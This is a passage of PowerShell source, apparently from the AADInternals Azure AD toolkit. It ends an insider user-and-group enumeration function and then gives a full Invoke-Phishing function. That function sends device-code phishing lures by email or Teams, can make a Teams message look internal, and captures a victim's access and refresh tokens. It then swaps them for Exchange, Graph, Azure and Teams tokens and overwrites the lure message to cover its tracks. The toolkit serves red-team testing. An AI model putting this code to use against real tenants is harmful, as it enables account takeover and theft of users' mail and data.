GroupMembers: Include members of the groups (not recommended)
GroupId: Id of the group. If this is given, only one group and members are included.
.Example
C:\PS>$results = Invoke-AADIntUserEnumerationAsInsider
Users: 5542
Groups: 212
C:\PS>$results.Users[0]
id : 7ab0eb51-b7cb-4ff0-84ec-893a413d7b4a
displayName : User Demo
userPrincipalName : User@company.com
onPremisesImmutableId : UQ989+t6fEq9/0ogYtt1pA==
onPremisesLastSyncDateTime : 2020-07-14T08:18:47Z
onPremisesSamAccountName : UserD
onPremisesSecurityIdentifier : S-1-5-21-854168551-3279074086-2022502410-1104
refreshTokensValidFromDateTime : 2019-07-14T08:21:35Z
signInSessionsValidFromDateTime : 2019-07-14T08:21:35Z
proxyAddresses : {smtp:User@company.onmicrosoft.com, SMTP:User@company.com}
businessPhones : {+1234567890}
identities : {@{signInType=userPrincipalName; issuer=company.onmicrosoft.com; issuerAssignedId=User@company.com}}
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[int] $MaxResults=1000,
[switch] $Groups,
[switch] $GroupMembers,
[Parameter(Mandatory=$False)]
[String]$GroupId
)
Begin
{
}
Process
{
# Get access token from cache
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Create a new AccessToken for graph.microsoft.com
$refresh_token = Get-RefreshTokenFromCache -AccessToken $AccessToken
if([string]::IsNullOrEmpty($refresh_token))
{
throw "No refresh token found! Use Get-AADIntAccessTokenForAzureCoreManagement with -SaveToCache switch"
}
# MSGraph Access Token
$AccessToken = Get-AccessTokenWithRefreshToken -Resource "https://graph.microsoft.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -TenantId (Read-Accesstoken $AccessToken).tid -RefreshToken $refresh_token -SaveToCache $true
# Get the users and some relevant information
if([String]::IsNullOrEmpty($GroupId))
{
$users = Call-MSGraphAPI -MaxResults $MaxResults -AccessToken $AccessToken -API "users" -ApiVersion "v1.0" -QueryString "`$select=id,displayName,userPrincipalName,userType,onPremisesImmutableId,onPremisesLastSyncDateTime,onPremisesSamAccountName,onPremisesSecurityIdentifier,onPremisesDistinguishedName,refreshTokensValidFromDateTime,signInSessionsValidFromDateTime,proxyAddresses,businessPhones,identities"
}
# Get the groups
if($Groups -or $GroupMembers -or $GroupId)
{
$groupsAPI="groups"
$groupQS = ""
if($GroupMembers -or $GroupId)
{
$groupQS="`$expand=members"
}
if($GroupId)
{
$groupsAPI="groups/$GroupId/"
}
$groupResults = Call-MSGraphAPI -MaxResults $MaxResults -AccessToken $AccessToken -API $groupsAPI -ApiVersion "v1.0" -QueryString $groupQS
}
$attributes=@{
"Users" = $users
"Groups" = $groupResults
}
# Print out some relevant information
Write-Host "Users: $($Users.count)"
Write-Host "Groups: $(if($GroupId -and $groupResults -ne $null){1}else{$groupResults.count})"
# Return
New-Object psobject -Property $attributes
}
}
# Sends phishing email to given recipients
# Oct 13th 2020
function Invoke-Phishing
{
<#
.SYNOPSIS
Sends phishing mail to given recipients and receives user's access token
.DESCRIPTION
Sends phishing mail to given recipients and receives user's access token using device code authentication flow.
.Parameter Tenant
Tenant id of tenant used for authentication. Defaults to "Common"
.Parameter Tenant
Tenant id of tenant used for authentication. Defaults to "Common"
.Parameter Recipients
Comma separated list of recipient emails
.Parameter Subject
Subject of the email
.Parameter Sender
Sender of the email. Supports the plain email "user@example.com" and display name "Some User <user@example.com" formats
.Parameter SMTPServer
Ip address or FQDN of the SMTP server used to send the email
.Parameter SMTPCredentials
Credentials used to authenticate to SMTP server
.Parameter Message
An html message to be sent to recipients. Uses string formatting to insert url and user code.
{0} = user code
{1} = signing url
Default message:
'<div>Hi!<br/>This is a message sent to you by someone who is using <a href="https://o365blog.com/aadinternals">AADInternals</a> phishing function. <br/><br/>Here is a <a href="{1}">link</a> you <b>should not click</b>.<br/><br/>If you still decide to do so, provide the following code when requested: <b>{0}</b>.</div>'
.Parameter CleanMessage
An html message used to replace the original Teams message after the access token has been received.
Default message:
'<div>Hi!<br/>This is a message sent to you by someone who is using <a href="https://o365blog.com/aadinternals">AADInternals</a> phishing function. <br/>If you are seeing this, <b>someone has stolen your identity!</b>.</div>'
.Parameter Teams
Switch indicating that Teams is used for sending phishing messages.
.Example
$tokens = Invoke-AADIntPhishing -Recipients svictim@company.com -Subject "Johnny shared a document with you" -Sender "Johnny Carson <jc@somewhere.com>" -SMTPServer smtp.myserver.local
Code: CKDZ2BURF
Mail sent to: wvictim@company.com
...
Received access token for william.victim@company.com
.Example
$tokens = Invoke-AADIntPhishing -Recipients "wvictim@company.com","wvictim2@company.com" -Subject "Johnny shared a document with you" -Sender "Johnny Carson <jc@somewhere.com>" -SMTPServer smtp.myserver.local -SaveToCache
Code: CKDZ2BURF
Mail sent to: wvictim@company.com
Mail sent to: wvictim2@company.com
...
Received access token for william.victim@company.com
PS C:\>$results = Invoke-AADIntReconAsInsider
Tenant brand: company.com
Tenant name: company.onmicrosoft.com
Tenant id: d4e225d6-8877-4bc6-b68c-52c44011ba81
Azure AD objects: 147960/300000
Domains: 5 (5 verified)
Non-admin users restricted? True
Users can register apps? True
Directory access restricted? False
Directory sync enabled? true
Global admins 10
.Example
PS C:\>Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
PS C:\>$tokens = Invoke-AADPhishing -Recipients "wvictim@company.com" -Teams
```
Code: CKDZ2BURF
Teams message sent to: wvictim@company.com. Message id: 132473151989090816
...
Received access token for william.victim@company.com
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$Tenant="Common",
[Parameter(Mandatory=$True)]
[String[]]$Recipients,
[Parameter(Mandatory=$False)]
[String]$Message='<div>Hi!<br/>This is a message sent to you by someone who is using <a href="https://o365blog.com/aadinternals">AADInternals</a> phishing function. <br/><br/>Here is a <a href="{1}">link</a> you <b>should not click</b>.<br/><br/>If you still decide to do so, provide the following code when requested: <b>{0}</b>.</div>',
[Parameter(ParameterSetName='Teams',Mandatory=$True)]
[Switch]$Teams,
[Parameter(ParameterSetName='Teams',Mandatory=$False)]
[String]$CleanMessage='<div>Hi!<br/>This is a message sent to you by someone who is using <a href="https://o365blog.com/aadinternals">AADInternals</a> phishing function. <br/>If you are seeing this, <b>someone has stolen your identity!</b>.</div>',
[Parameter(ParameterSetName='Teams')]
[switch]$External,
[Parameter(ParameterSetName='Teams')]
[switch]$FakeInternal,
[Parameter(ParameterSetName='Mail',Mandatory=$True)]
[String]$Subject,
[Parameter(ParameterSetName='Mail',Mandatory=$True)]
[String]$Sender,
[Parameter(ParameterSetName='Mail',Mandatory=$True)]
[String]$SMTPServer,
[Parameter(ParameterSetName='Mail',Mandatory=$False)]
[System.Management.Automation.PSCredential]$SMTPCredentials,
[Switch]$SaveToCache
)
Begin
{
# Choises
$choises="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!""#%&/()=?*+-_"
}
Process
{
if($Teams)
{
# Get access token from cache
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# If external, use the target tenant id
if($External)
{
$Tenant = Get-AADIntTenantID -UserName $Recipients[0]
}
# Get the list of tenants the user has access to if not provided
if([string]::IsNullOrEmpty($Tenant))
{
$tenants = Get-AzureTenants -AccessToken $AccessToken
$tenantNames = $tenants | Select-Object -ExpandProperty Name
# Prompt for tenant choice if more than one
if($tenantNames.count -gt 1)
{
$options = [System.Management.Automation.Host.ChoiceDescription[]]@()
for($p=0; $p -lt $tenantNames.count; $p++)
{
$options += New-Object System.Management.Automation.Host.ChoiceDescription "&$($choises[$p % $choises.Length]) $($tenantNames[$p])"
}
$opt = $host.UI.PromptForChoice("Choose the tenant","Choose the tenant to sent messages to",$options,0)
}
else
{
$opt=0
}
$tenantInfo = $tenants[$opt]
$tenant = $tenantInfo.Id
}
# Create a new AccessToken for graph.microsoft.com
$refresh_token = Get-RefreshTokenFromCache -ClientID "d3590ed6-52b3-4102-aeff-aad2292ab01c" -Resource "https://management.core.windows.net"
if([string]::IsNullOrEmpty($refresh_token))
{
throw "No refresh token found! Use Get-AADIntAccessTokenForAzureCoreManagement with -SaveToCache switch"
}
$AccessToken = Get-AccessTokenWithRefreshToken -Resource "https://api.spaces.skype.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264" -TenantId (Read-AccessToken -AccessToken $AccessToken).tid -RefreshToken $refresh_token -SaveToCache $true
}
# Create a body for the first request. We'll be using client id of "Microsoft Office"
$clientId = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$body=@{
"client_id" = $clientId
"resource" = "https://graph.windows.net"
}
# Invoke the request to get device and user codes
$authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/$tenant/oauth2/devicecode?api-version=1.0" -Body $body
Write-Host "Code: $($authResponse.user_code)"
# Format the message
$message=[string]::Format($message,$authResponse.user_code,$authResponse.verification_url)
# Send messages
$teamsMessages=@()
foreach($recipient in $Recipients)
{
if($Teams)
{
$msgDetails = Send-TeamsMessage -AccessToken $AccessToken -Recipients $recipient -Message $Message -Html -External $External -FakeInternal $FakeInternal
Write-Host "Teams message sent to: $Recipients. ClientMessageId: $($msgDetails.ClientMessageId)"
$msgDetails | Add-Member -NotePropertyName "Recipient" -NotePropertyValue $recipient
$teamsMessages += $msgDetails
}
else
{
Send-MailMessage -from $Sender -to $recipient -Subject $Subject -Body $message -SmtpServer $SMTPServer -BodyAsHtml -Encoding utf8
Write-Host "Mail sent to: $recipient"
}
}
$continue = $true
$interval = $authResponse.interval
$expires = $authResponse.expires_in
# Create body for authentication subsequent requests
$body=@{
"client_id" = $ClientId
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
"code" = $authResponse.device_code
"resource" = $Resource
}
# Loop while authorisation pending or until timeout exceeded
while($continue)
{
Start-Sleep -Seconds $interval
$total += $interval
if($total -gt $expires)
{
Write-Error "Timeout occurred"
return
}
# Try to get the response. Will give 400 while pending so we need to try&catch
try
{
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/$Tenant/oauth2/token?api-version=1.0 " -Body $body -ErrorAction SilentlyContinue
}
catch
{
# This normal flow, always returns 400 unless successful
$details=$_.ErrorDetails.Message | ConvertFrom-Json
$continue = $details.error -eq "authorization_pending"
Write-Verbose $details.error
Write-Host "." -NoNewline
if(!$continue)
{
# Not pending so this is a real error
Write-Error $details.error_description
return
}
}
# If we got response, all okay!
if($response)
{
Write-Host "" # new line
break # Exit the loop
}
}
# Dump the name
$user = (Read-Accesstoken -AccessToken $response.access_token).upn
if([String]::IsNullOrEmpty($user))
{
$user = (Read-Accesstoken -AccessToken $response.access_token).unique_name
}
Write-Host "Received access token for $user"
# Clear the teams messages
foreach($msg in $teamsMessages)
{
Send-TeamsMessage -AccessToken $AccessToken -ClientMessageId $msg.ClientMessageId -Message $CleanMessage -Html | Out-Null
}
# Save the tokens to cache
if($SaveToCache)
{
Write-Verbose "ACCESS TOKEN: SAVE TO CACHE"
Add-AccessTokenToCache -AccessToken $response.access_token -RefreshToken $response.refresh_token -ShowCache $false
}
# Create the return hashtable
$attributes = @{
"AADGraph" = $response.access_token
"refresh_token" = $response.refresh_token
"EXO" = Get-AccessTokenWithRefreshToken -Resource "https://outlook.office365.com" -ClientId $clientId -RefreshToken $response.refresh_token -TenantId $Tenant -SaveToCache $SaveToCache
"OWA" = Get-AccessTokenWithRefreshToken -Resource "https://outlook.office.com" -ClientId $clientId -RefreshToken $response.refresh_token -TenantId $Tenant -SaveToCache $SaveToCache
"Substrate" = Get-AccessTokenWithRefreshToken -Resource "https://substrate.office.com" -ClientId $clientId -RefreshToken $response.refresh_token -TenantId $Tenant -SaveToCache $SaveToCache
"MSGraph" = Get-AccessTokenWithRefreshToken -Resource "https://graph.microsoft.com" -ClientId $clientId -RefreshToken $response.refresh_token -TenantId $Tenant -SaveToCache $SaveToCache
"AZCoreManagement" = Get-AccessTokenWithRefreshToken -Resource "https://management.core.windows.net/" -ClientId $clientId -RefreshToken $response.refresh_token -TenantId $Tenant -SaveToCache $SaveToCache
"Teams" = Get-AccessTokenWithRefreshToken -Resource "https://api.spaces.skype.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264" -RefreshToken $response.refresh_token -TenantId $Tenant -SaveToCache $SaveToCache
}
# Return
if(!$SaveToCache)
{
return New-Object psobject -Property $attributes
}
}
}